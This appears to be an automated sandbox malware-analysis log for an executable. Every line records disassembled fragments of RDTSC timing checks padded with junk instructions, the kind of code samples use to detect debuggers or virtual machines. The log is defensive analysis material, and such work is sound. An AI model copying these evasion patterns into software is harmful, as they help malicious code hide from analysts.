Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C9A1C9 second address: C9A1CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C9A1CD second address: C9A1D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007F6144D93AD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C9A1D9 second address: C9A21B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F61453619DCh 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F61453619E8h 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F61453619DFh 0x00000016 jg 00007F61453619D6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CA0D3C second address: CA0D42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CA090C second address: CA0912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CA0912 second address: CA091C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CA091C second address: CA092F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jp 00007F61453619DEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CA0A79 second address: CA0A95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop ebx 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F6144D93AD6h 0x00000011 jmp 00007F6144D93ADBh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CA3B21 second address: CA3B25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CA3473 second address: CA3479 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CA3479 second address: CA349E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CA349E second address: CA34A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CA34A4 second address: CA34A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CA34A8 second address: CA34B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6144D93ADBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CA34B7 second address: CA34F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F61453619E2h 0x00000008 jmp 00007F61453619E5h 0x0000000d push esi 0x0000000e pop esi 0x0000000f je 00007F61453619D6h 0x00000015 popad 0x00000016 jne 00007F61453619DEh 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CA362D second address: CA3633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CA3795 second address: CA3799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CA6E53 second address: CA6E75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007F6144D93AD6h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 push ebx 0x00000011 jnl 00007F6144D93ADEh 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CA714F second address: CA716D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619E3h 0x00000007 pushad 0x00000008 jc 00007F61453619D6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CA716D second address: CA7173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CAB5A0 second address: CAB5B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F61453619DCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CABCAF second address: CABCC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jc 00007F6144D93AD6h 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F6144D93AD6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CABCC6 second address: CABCCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CABE56 second address: CABE64 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F6144D93AD6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CAC858 second address: CAC886 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F61453619DEh 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007F61453619E5h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CAFB5F second address: CAFB65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CAFCB3 second address: CAFCB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CAFCB7 second address: CAFCC3 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6144D93AD6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CAFCC3 second address: CAFCE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CAFCE1 second address: CAFCED instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6144D93AD6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CAFCED second address: CAFD06 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F61453619D6h 0x0000000e jmp 00007F61453619DBh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CB013D second address: CB0150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6144D93AD8h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push ecx 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CB293E second address: CB2962 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F61453619D6h 0x0000000e jmp 00007F61453619E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CB84E3 second address: CB84ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CB84ED second address: CB84F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CB84F3 second address: CB8500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6144D93AD6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CB9A24 second address: CB9A2A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CB9A2A second address: CB9A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F6144D93ADCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CB9CE1 second address: CB9CE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CBD67B second address: CBD693 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6144D93AE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CBDAFD second address: CBDB03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CBDB03 second address: CBDB07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CBDB07 second address: CBDB2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619DDh 0x00000007 jmp 00007F61453619E4h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CBF4B2 second address: CBF4C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F6144D93AE2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CC3B51 second address: CC3B59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CC524A second address: CC5250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CC5250 second address: CC525C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F61453619D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CC525C second address: CC5261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CCD56D second address: CCD57D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61453619DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CCD57D second address: CCD583 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CCD583 second address: CCD595 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F61453619D6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CCB6EE second address: CCB709 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F6144D93AD6h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6144D93ADEh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CCBC5F second address: CCBC63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CCBC63 second address: CCBC80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6144D93AE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CCBE3C second address: CCBE5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F61453619DCh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CCBE5C second address: CCBE62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CCC138 second address: CCC13C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CCC13C second address: CCC17D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6144D93AD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop edx 0x0000000e push ebx 0x0000000f push edx 0x00000010 pop edx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ebx 0x00000014 pushad 0x00000015 jmp 00007F6144D93AE4h 0x0000001a jmp 00007F6144D93AE4h 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CCC44A second address: CCC450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CCC450 second address: CCC454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CCC454 second address: CCC45E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F61453619D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CCC45E second address: CCC469 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CCC5C6 second address: CCC5CD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CCCCA1 second address: CCCCA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CCCCA5 second address: CCCCA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CCCCA9 second address: CCCCC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6144D93AE1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CCD3EE second address: CCD3F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CD3676 second address: CD367C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CD367C second address: CD36A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F61453619DCh 0x0000000c jg 00007F61453619D6h 0x00000012 popad 0x00000013 push esi 0x00000014 jmp 00007F61453619DCh 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CD398D second address: CD3991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CD3991 second address: CD39A4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F61453619D6h 0x00000008 jne 00007F61453619D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CD644B second address: CD644F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CD644F second address: CD6453 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CD6453 second address: CD6472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6144D93AE9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CD6472 second address: CD648C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F61453619E6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CD6234 second address: CD625E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6144D93AE6h 0x00000007 jmp 00007F6144D93ADCh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CD625E second address: CD6262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CD6262 second address: CD6293 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 js 00007F6144D93AD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F6144D93AE0h 0x00000014 jmp 00007F6144D93AE2h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C10A1F second address: C10A23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C10A23 second address: C10A37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6144D93ADEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C10A37 second address: C10A54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F61453619E4h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C10A54 second address: C10A61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CE23EE second address: CE23F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CE23F5 second address: CE240C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6144D93ADBh 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jo 00007F6144D93AD6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CE1DDC second address: CE1DE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CE55A0 second address: CE55A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CE55A6 second address: CE55AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CE55AC second address: CE55BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CE55BA second address: CE55BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CE55BE second address: CE55D4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6144D93AD6h 0x00000008 jmp 00007F6144D93ADCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CE55D4 second address: CE5607 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F61453619DCh 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F61453619D6h 0x00000013 jmp 00007F61453619E9h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CE5607 second address: CE560B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C18ED4 second address: C18EF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F61453619E8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C18EF4 second address: C18F07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6144D93ADFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CF479E second address: CF47B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F61453619E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CF47B3 second address: CF47B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: CFCBAD second address: CFCBCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619E4h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
